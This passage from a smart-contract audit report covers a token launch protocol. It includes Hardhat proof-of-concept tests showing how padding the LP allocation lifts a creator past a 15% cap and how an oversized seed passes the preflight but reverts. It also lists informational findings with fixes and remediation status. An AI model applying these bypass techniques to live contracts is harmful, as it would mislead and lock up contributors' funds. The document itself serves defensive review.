      softCap: ethers.parseEther("1"), hardCap: ethers.parseEther("2"),
      minContribution: ethers.parseEther("0.1"), maxContribution: ethers.parseEther("2"),
    });
    await f.manager.connect(f.creator).createLaunchWithTerms(config, launchTerms());
    await time.increaseTo(config.startTime);
    await f.manager.connect(f.buyer).contribute(id, { value: ethers.parseEther("2") }); // sells out
    if ((await f.manager.getLaunch(id)).status !== 1n) {
      await time.increaseTo(Number(config.endTime) + 1);
      await f.manager.finalizeLaunch(id);
    }
    expect((await f.manager.getLaunch(id)).status).to.equal(1n); // Finalized
    const token: any = await ethers.getContractAt("LaunchToken", (await f.manager.getLaunch(id)).token);
    const vault = await f.registry.getCreatorVestingVault(id);
    const supplyAfter: bigint = await token.totalSupply();
    const creatorHeld: bigint = await token.balanceOf(vault);
    return { configured: config.totalSupply as bigint, creatorSupply, supplyAfter, creatorHeld };
  }

  it("a 15%-of-total creator ends up with ~47% of supply after the settlement burn", async function () {
    const f: any = await loadFixture(fullProtocolFixture);
    const sale = SUPPLY * 10n / 100n;

    // Control: the pool uses 2 ETH x 95% x 70% LP split = 1.33 ETH at the sale price,
    // i.e. 0.665 LP tokens per sale token. Size sale so lpSupply ~= what is used.
    const honestSale = SUPPLY * 85n / 100n * 1000n / 1665n;
    const honest = await runLaunch(f, 0, "FAIR", honestSale);
    // Padded: same 15% creator, 10% sale, the remaining 75% labelled "LP".
    const padded = await runLaunch(f, 1, "PAD", sale);

    expect(padded.creatorSupply * 10_000n / padded.configured).to.equal(1_500n); // passes the 15% cap
    expect(padded.creatorHeld).to.equal(padded.creatorSupply);
    expect(padded.supplyAfter).to.be.lt(padded.configured * 32n / 100n);   // >68% burned at finalization
    expect(padded.creatorHeld * 100n / padded.supplyAfter).to.be.gte(45n); // ~3x the advertised cap
    expect(honest.creatorHeld * 100n / honest.supplyAfter).to.be.lte(16n); // control stays ~15%

    for (const [name, r] of [["control (lpSupply = needed)", honest], ["padded lpSupply (75%)", padded]] as const) {
      console.log(`      ${name.padEnd(28)}: creator ${pct(r.creatorSupply, r.configured)}% of configured supply ->`,
        `${pct(r.creatorHeld, r.supplyAfter)}% of supply after finalization`,
        `(${ethers.formatEther(r.configured - r.supplyAfter)} burned)`);
    }
  });
});
```

Recommendation

1. **Pin `lpSupply` to the amount the pool can use at the hard cap,** so a full sell-out burns no LP:

```
require(maxLpTokens > 0 && maxLpTokens == config.lpSupply, "Economics: LP allocation must match fixed price");
```

Rounding dust at the hard cap is already burned at settlement.

1. **Alternatively, apply the cap to the minimum supply that survives finalization,** for example at the soft cap:

```
uint256 minCirculating = Math.mulDiv(config.softCap, config.saleSupply, config.hardCap) + minLpTokens + config.creatorSupply;
require(config.creatorSupply <= Math.mulDiv(minCirculating, MAX_CREATOR_ALLOC_BPS, 10_000), "Economics: creator allocation");
```

1. **At minimum, document and surface the post-burn creator share** in the receipt and UI, since the burn is otherwise invisible to someone reading "≤15%".

Status

Fixed. Latest reviewer evidence ↗

Reviewed at `a4dee32` : fixed.

- `creatorKept = min(creatorSupply, floor((sold + usedLp) · 1500 / 8500))`. The excess is burned with the unsold and unused supply, and the vesting vault is funded with only the kept amount, so the creator stays at or below 15% of post-settlement supply for every successful outcome. Our original PoC's vault now receives 2.94e25 instead of 1.5e26.
- `_launches[id] = config` now copies the whole struct, but `creator`, `token` and `status` are overwritten straight after and `LaunchConfig` has no other manager-owned fields, so this is safe.

Note (informational): drip-residue burns after settlement (`settlePermanentResidual`) shrink supply slightly, so the creator's share can drift marginally above 15% later.

[I-01] Seed preflight checks liquidity but not V4 int128 currency amounts

Severity: Informational
Source finding: `I-01`
Source issue: #37 ↗
Audited baseline: `213a6dba`
Remediation snapshot: `a4dee324`

Description

Severity	Informational (Impact: Low, Likelihood: Low)
Confidence	High (code confirmed; Hardhat PoC on the real `LaunchPoolFactory` passes)
Location	`LaunchPoolFactory.sol:_validateSeedBudget` (via `validateSeedBudgetForPair`, used by `LaunchEconomicsPolicy._validateBuiltCap` :197-226) and `_seedLiquidity`
Class	DeltaAccounting (V0)
Sources	External finding, verified against commit `213a6db`
PoC	`test/audit/I01SeedDeltaOverflow.test.ts` (passes)

What's wrong

Before a Built launch opens, the protocol checks that its initial LP seed can actually be placed in the V4 pool. That check confirms the liquidity figure fits V4's limits, but not that the token amounts do. A configuration whose seed holds more project tokens than V4 can represent passes, and then fails when seeding actually runs. When OTC covers the whole opening conversion, seeding happens inside the contribution that fills the cap, so that contribution can never succeed and the launch can only end through the timed refund path.

How (mechanism)

`_validateSeedBudget` requires `liquidity <= uint128(type(int128).max)` and that the computed `used0` / `used1` are between 99% and 100% of the budgets. It never requires `amount0` / `amount1 <= int128.max`. V4 casts each currency delta of `modifyLiquidity` with `SafeCast.toInt128`, so a seed whose project-token side exceeds `2^127 − 1 ≈ 1.7e38` raw reverts with `SafeCastOverflow()`. In the OTC-covered path, conversion and seeding run inside the cap-filling `contribute`, so the revert unwinds that contribution and the settlement record. Earlier contributions remain in an Active launch with no settlement. `cancelUnfinalizedLaunch` refunds them once `settlementStartDeadline(endTime)` (sale end + 24h) has passed.

Impact

- **Contributors:** no loss. The launch can't reach its hard cap or finalize early, and earlier contributions stay locked until the advertised sale end + 24h, then are fully refunded through `cancelUnfinalizedLaunch`. If settlement is staged

through the DEX instead, the seed fails at `claimCompletedSettlement`, and the existing `cancelSettlement` path refunds pro rata.
- **Creator:** the launch can't succeed with that configuration.
- **Threshold:** the initial LP must hold more than ~1.7e38 raw project tokens, i.e. **about 1.7e20 tokens** (170 quintillion) in the seed alone. PLAZM's whole supply is 2.2e25 raw, so it is always the project-token side. Real launches use roughly 1e9–1e15 tokens.

Severity rationale: - **Impact Low:** a delay within the lock period contributors already accepted, with full refunds. - **Likelihood Low:** an absurd supply chosen by the creator. - That gives **Informational**. Sherlock or Code4rena judges would treat it as input validation without loss to others.

Proof of Concept

The test uses the real `LaunchPoolFactory` (through `deployV4Hook`, tick spacing 60) with `MockV4PoolManager`. That mock rejects any addition whose currency amount exceeds `int128.max` (`MockV4PoolManager.sol:346-347`), the stand-in for v4-core's `SafeCastOverflow`. The test: 1. Calls `validateSeedBudgetForPair` with **2e38 raw** project tokens and 1M PLAZM. It is accepted, because the liquidity is about 1.4e31, far below `int128.max`. 2. Creates the Built-on-Plazm pool and seeds that exact budget. The PoolManager reverts and the pool stays unseeded.

```
  [I-01] PoC: seed preflight accepts amounts V4 cannot represent
      int128.max            : 170141183460469231731687303715884105727
      seed tokens (raw)     : 200000000000000000000000000000000000000 (preflight: accepted)
      seeding               : reverted (V4 delta overflow)
    ✔ validateSeedBudgetForPair passes, seeding the same budget reverts

  1 passing
```

test/audit/I01SeedDeltaOverflow.test.ts

```
import { expect } from "chai";
import { ethers } from "hardhat";
import { time } from "@nomicfoundation/hardhat-network-helpers";
import { deployV4Hook, LAUNCH_MODES } from "../../scripts/deploy-v4-hook";

// [I-01] _validateSeedBudget bounds seed liquidity at int128.max but never
// checks the seed's currency amounts against V4's int128 balance-delta fields.
// A seed with >~1.7e38 raw project tokens passes the preflight that
// _validateBuiltCap relies on, then reverts inside the PoolManager at seeding
// (SafeCastOverflow in v4-core; `MockV4: amountN too large` in the repo mock).

const INT128_MAX = (1n << 127n) - 1n;
const DAY = 24 * 60 * 60;

describe("[I-01] PoC: seed preflight accepts amounts V4 cannot represent", function () {
  it("validateSeedBudgetForPair passes, seeding the same budget reverts", async function () {
    const [deployer, launchManager, guardian] = await ethers.getSigners();
    const manager: any = await (await ethers.getContractFactory("MockV4PoolManager")).deploy();
    const weth = await (await ethers.getContractFactory("MockWETH")).deploy();
    const result = await deployV4Hook({
      poolManager: await manager.getAddress(), weth: await weth.getAddress(),
      launchManager: launchManager.address, backedRecipient: deployer.address,
      protocolAuthority: deployer.address, emergencyGuardian: guardian.address, tickSpacing: 60,
    });
    const factory: any = await ethers.getContractAt("LaunchPoolFactory", result.factory);
    const drip: any = await (await ethers.getContractFactory("MockLiquidityDripCaller")).deploy();
    await factory.configureLiquidityDrip(await drip.getAddress());

    const Token = await ethers.getContractFactory("MockMintableToken");
    const project: any = await Token.deploy("Huge", "HUGE");
```

```
    const plazm: any = await Token.deploy("PLAZM", "PLAZM");
    const tokenAddr = await project.getAddress();
    const counterAddr = await plazm.getAddress();

    // 2e38 raw project tokens (2e20 tokens) + 1M PLAZM.
    const seedTokens = 2n * 10n ** 38n;
    const seedCounter = 10n ** 24n;
    expect(seedTokens).to.be.gt(INT128_MAX);

    // The preflight _validateBuiltCap delegates to: accepted. Liquidity
    // (~sqrt(2e62) ~ 1.4e31) is far below int128.max; the token amount is not checked.
    await factory.validateSeedBudgetForPair(tokenAddr, counterAddr, seedTokens, seedCounter);

    const initData = ethers.AbiCoder.defaultAbiCoder().encode(
      ["tuple(uint24 backedPips,uint24 creatorPips,uint24 supportPips,uint24 lpPips,bool configured)", "address", "address",
"address"],
      [[2000, 2500, 4000, 1500, false], deployer.address, guardian.address, deployer.address],
    );
    await drip.create(result.factory, 0, tokenAddr, counterAddr, LAUNCH_MODES.BuiltOnPlazm,
      result.hook, seedTokens, seedCounter, initData);
    await project.mint(result.factory, seedTokens);
    await plazm.mint(result.factory, seedCounter);

    // Seeding the exact budget the preflight approved reverts in the PoolManager.
    const tokenIs0 = BigInt(tokenAddr) < BigInt(counterAddr);
    await expect(drip.seed(result.factory, 0, tokenAddr, counterAddr, seedTokens, seedCounter,
      deployer.address, (await time.latest()) + 365 * DAY))
      .to.be.revertedWith(tokenIs0 ? "MockV4: amount0 too large" : "MockV4: amount1 too large");
    expect((await factory.getLaunchPool(0)).seeded).to.equal(false);

    console.log("      int128.max            :", INT128_MAX.toString());
    console.log("      seed tokens (raw)     :", seedTokens.toString(), "(preflight: accepted)");
    console.log("      seeding               : reverted (V4 delta overflow)");
  });
});
```

Recommendation

1. **Bound the currency amounts in the preflight and again before seeding.** In `_validateSeedBudget`:

```
require(
    amount0 <= uint256(uint128(type(int128).max)) && amount1 <= uint256(uint128(type(int128).max)),
    "Factory: seed amount exceeds V4 delta"
);
```

Repeat the same require in `_seedLiquidity` against the actual seed amounts, so a configuration that drifts after creation, for example through larger OTC receipts, fails with a clear reason instead of a PoolManager revert.

1. **Or cap `config.totalSupply`** in `validateAndResolve` at or below 1e37 raw. That rules out this finding and the degenerate-supply preconditions behind L-18 (#31), L-21 (#35) and L-22 (#36) together.
2. **Related:** L-21 (#35) is a separate missing check in the same validation function (per-tick liquidity reserved for the drip). The two can be fixed in one change.

Status

Fixed. Latest reviewer evidence ↗

Reviewed at `a4dee32`: fixed.

`_validateSeedBudget` and `_seedLiquidity` now require `amount0/amount1 <= int128.max` ("Factory: amount exceeds V4 delta"). Our 2e38 seed PoC now reverts with that reason, and the #36 supply cap makes it unreachable through a normal launch anyway.

[I-02] Rotating the LaunchManager guardian leaves the old key able to pause existing vaults

Severity: Informational
Source finding: `I-02`
Source issue: #42 ↗
Audited baseline: `213a6dba`
Remediation snapshot: `a4dee324`

Description

Severity	Informational (Impact: Low, Likelihood: Low)
Confidence	High (code trace)
Location	`TreasuryVault.sol:initialize` (:123), `pause` (:314-320), `setEmergencyGuardian` (:322-328); `LaunchManager.sol:setEmergencyGuardian` (:169-175); `ProjectSupportController.sol` (:188, :689-698)
Class	AccessControl (V0)
Sources	External report `backedfund-contracts-stage2-r2-20261016-151629/2026-10-17_core.md` (L-08), verified against commit `213a6db`
PoC	none (code trace)

What's wrong

Each treasury vault and the support controller copy the emergency guardian's address once and keep their own copy. Rotating the guardian on the launch manager doesn't update those copies. So after a guardian key is retired or compromised, the old key can still pause every existing vault until the authority rotates each vault separately.

How (mechanism)

`TreasuryVault.initialize` snapshots `emergencyGuardian = launchManager.emergencyGuardian()` (:123). `pause()` checks that snapshot (:314-320), and the vault has its own authority-only `setEmergencyGuardian` (:322-328). `LaunchManager.setEmergencyGuardian` (:169-175) updates only the manager's copy. `ProjectSupportController` keeps a third copy, set at construction (:188) and by its own setter (:695-698). Only `protocolAuthority` can unpause.

Impact

- **Project vaults:** a rotated-out guardian key can pause `claimAndRoute` and `retryRecoveredPendingMint` on every vault created before the rotation, and the controller's paths, until the authority calls each vault's `setEmergencyGuardian` and unpauses it.
- **Scope note:** this needs a compromised trusted key, the only power is pause, the authority can unpause, and nothing is lost. Operationally, rotation costs one authority transaction per vault.
- **Severity:** a trusted-role key-rotation gap with no loss, so **Informational**.

Proof of Concept

No standalone proof-of-concept section was supplied in the source issue. The source issue documents the code trace and validation evidence used for review.

Recommendation

1. **Read the guardian live.** Have vaults (and optionally the controller) call `ILaunchManagerTreasuryStatus(launchManager).emergencyGuardian()` inside `pause()` instead of storing a snapshot:

```
function pause() external {
    require(
        msg.sender == protocolAuthority
            || msg.sender == ILaunchManagerTreasuryStatus(launchManager).emergencyGuardian(),
        "TreasuryVault: not guardian"
    );
    ...
}
```

1. **Or document the per-vault rotation step** in the guardian-rotation runbook and provide a batch rotation helper.

Status

Fixed. Latest reviewer evidence ↗

Reviewed at `a4dee32` : fixed.

`TreasuryVault.pause()` now reads the LaunchManager's current `emergencyGuardian()`, and the per-vault snapshot and setter are gone, so one rotation revokes a retired key on every vault. Leaving `ProjectSupportController` with its own setter (one call per contract, now documented) is reasonable.

[I-03] A pause during a sale does not extend endTime, shortening the sale

Severity: Informational
Source finding: `I-03`
Source issue: #43 ↗
Audited baseline: `213a6dba`
Remediation snapshot: `a4dee324`

Description

Severity	Informational (Impact: Low, Likelihood: Low)
Confidence	High (code trace)
Location	`LaunchManager.sol:contribute` (:452-458) vs `cancelUnfinalizedLaunch` (:688-691)
Class	AccessControl (V0)
Sources	External report `backedfund-contracts-stage2-r2-20261016-151629/2026-10-17_core.md` (I-02), verified against commit `213a6db`
Related	#10 (L-03): the cancel path and the pause, the other side of the same pause clock
PoC	none (code trace)

What's wrong

While the launch manager is paused, nobody can contribute, but the sale's end time doesn't move. Every hour of pause during a sale is an hour of lost selling time. That can make a sale miss its soft cap and fail. The post-sale recovery windows, by contrast, are extended for the same pause.

How (mechanism)

`contribute` is `whenNotPaused` and reverts `SaleEnded` once `block.timestamp > launch.endTime` (:452-458), comparing raw time with no pause adjustment. `cancelUnfinalizedLaunch` measures its post-sale windows with `_pauseClock.unpausedTimeAt` (:688-691), so pauses after `endTime` are excluded there. A pause that spans the end of a sale therefore shortens the sale.

Impact

- **Creators:** a pause near the end of a sale cuts the sale short, and it may finish below its soft cap.
- **Buyers:** if the sale fails, buyers get full pull refunds, so no funds are lost.
- **Severity:** it needs a trusted guardian or authority emergency pause (admin action breaking an assumption: Sherlock AI-7, BB AI-18), and there's no loss. That makes it **Informational**, a design note on applying the pause clock consistently.

Proof of Concept

No standalone proof-of-concept section was supplied in the source issue. The source issue documents the code trace and validation evidence used for review.

Recommendation

1. **Measure the sale window in unpaused time,** the same way the recovery windows do:

```
// Compare elapsed *unpaused* sale time against the configured sale duration.
uint256 elapsed = _pauseClock.unpausedTimeAt(block.timestamp, paused)
    - _pauseClock.unpausedTimeAt(launch.startTime, paused);
if (elapsed > launch.endTime - launch.startTime) revert SaleEnded();
```

Finalization and the recovery deadlines would then key on the same pause-adjusted end.

```
2. **Or document that an emergency pause shortens active sales,** and have the authority avoid pausing across sale ends where
possible.

## Status

**Fixed.** [Latest reviewer evidence ↗](https://github.com/BuildTheTech/BackedFund-Contracts/issues/43#issuecomment-6351458105)

**Reviewed at `a4dee32`: fixed.**

- The sale stays open while unpaused manager time since `startTime` is below its configured duration. `contribute`, below-cap
`finalizeLaunch` and the recovery windows all use that end, and a pause that spans `startTime` is excluded too.
- Built routers get `min(saleEndTime, now)` as their grace reference, so an early hard-cap finalize can't start the grace in the
past.
- `_effectiveLpUnlock` still measures from the nominal `endTime` but takes the max with `now + duration`, so a longer sale doesn't
shorten the LP lock.

Note (informational): `getLaunch().endTime` still returns the nominal end, so frontends and integrators should switch to
`saleEndTime`.


# [I-04] No maximum sale duration lets a creator lock contributions until a far-future endTime

**Severity:** Informational
**Source finding:** `I-04`
**Source issue:** [#45 ↗](https://github.com/BuildTheTech/BackedFund-Contracts/issues/45)
**Audited baseline:** [`213a6dba`](https://github.com/BuildTheTech/BackedFund-Contracts/commit/
213a6dba2e2641804ed56555d4f6f763dbe95200)
**Remediation snapshot:** [`a4dee324`](https://github.com/BuildTheTech/BackedFund-Contracts/commit/
a4dee324e9206e1ddb249ddb3329db9a0712cfc7)

## Description

| | |
|---|---|
| **Severity** | Informational (Impact: Low, Likelihood: Low) |
| **Confidence** | High (code trace) |
| **Location** | `LaunchEconomicsPolicy.sol:validateAndResolve` (:134, minimum only); recovery deadlines in
`LaunchManager.sol:cancelUnfinalizedLaunch` (:681-712) |
| **Class** | AccessControl (V0) |
| **Sources** | External report `.solidity-auditor/runs/20261016-133716/full-report.md` (finding 3), verified against commit
`213a6db` |
| **Related** | #37 (I-01), whose recovery wait is bounded only by this end time; #9 (L-02), uint64 truncation for far-future lock
timestamps |
| **PoC** | none (code trace) |
```

```
**What's wrong**

A sale must last at least one hour, but nothing limits how long it can last. A creator can set an end time months or years away. A sale that doesn't reach its hard cap can't finalize, be cancelled or refund its buyers before that end time, so their ETH stays locked for whatever period the creator chose.

**How (mechanism)**

`validateAndResolve` only requires `config.endTime >= config.startTime + MIN_SALE_DURATION` (1 hour, :134), and there is no `MAX_SALE_DURATION`. Before `endTime`, finalization only happens through a contribution that fills the hard cap. `cancelUnfinalizedLaunch` needs `block.timestamp` past `endTime` plus the grace period: `settlementStartDeadline(endTime)` for routed launches, or the post-end windows measured with `_pauseClock.unpausedTimeAt(...)` for the others (:681-712). Contributors have no withdraw path while the sale is active.

## Impact

- **Buyers:** contributions to a sale that hasn't reached its hard cap stay locked until the creator-chosen `endTime`, plus the grace period, before anyone can finalize or refund. There's no loss: refunds are full, and the end time is public before anyone contributes.
- **Interaction:** any failure that stops the hard cap from being filled (for example #37) inherits this unbounded wait.
- **Severity:** buyers opt in seeing the end time, and nothing is lost. It's user-input validation, so **Informational**.

## Proof of Concept

No standalone proof-of-concept section was supplied in the source issue. The source issue documents the code trace and validation evidence used for review.

## Recommendation

1. **Add a maximum sale duration** to the policy, for example 30–90 days:

```solidity
uint256 public constant MAX_SALE_DURATION = 90 days;
...
require(config.endTime >= config.startTime + MIN_SALE_DURATION, "Economics: sale too short");
require(config.endTime <= config.startTime + MAX_SALE_DURATION, "Economics: sale too long");
```
```

1. **Optionally, cap how far in the future `startTime` may be,** so a launch can't sit in the registry indefinitely before opening.

Status

Fixed. Latest reviewer evidence ↗

Reviewed at `a4dee32`: fixed.

`MAX_SALE_DURATION = 30 days` and `MAX_START_DELAY = 30 days` from creation, each with exact-boundary tests. As the team notes, pauses can still stretch a sale past 30 days (#43), but only the authority or guardian can pause.

Conclusion

The Plazm launch-path review identified **17 findings**: **2 Medium**, **11 Low**, and **4 Informational**. At remediation snapshot `a4dee324e9206e1ddb249ddb3329db9a0712cfc7`, **15 findings are Fixed** and **2 are Partially Mitigated**.

The two residual items are:

- **M-01 / source M-10 (#30):** the cooldown-progress and spare-slot changes prevent dust-sized calls from consuming a full slot, but repeated half-capacity calls can still exhaust the default settlement window under the reviewer-confirmed scheduling conditions.
- **L-06 / source L-22 (#36):** the project-token side is bounded by the new maximum total-supply rule, while the counter-asset side still relies on WETH, PLAZM, and approved Build-on-Asset counters remaining below the V4 `int128` amount limit; that requirement is documented but not enforced on-chain.

The exact-snapshot unit-test step passed, but exact production coverage hit a Node.js heap out-of-memory failure and downstream replay/fork jobs were skipped. Those limitations remain part of the release risk and should not be interpreted as a clean full-CI attestation.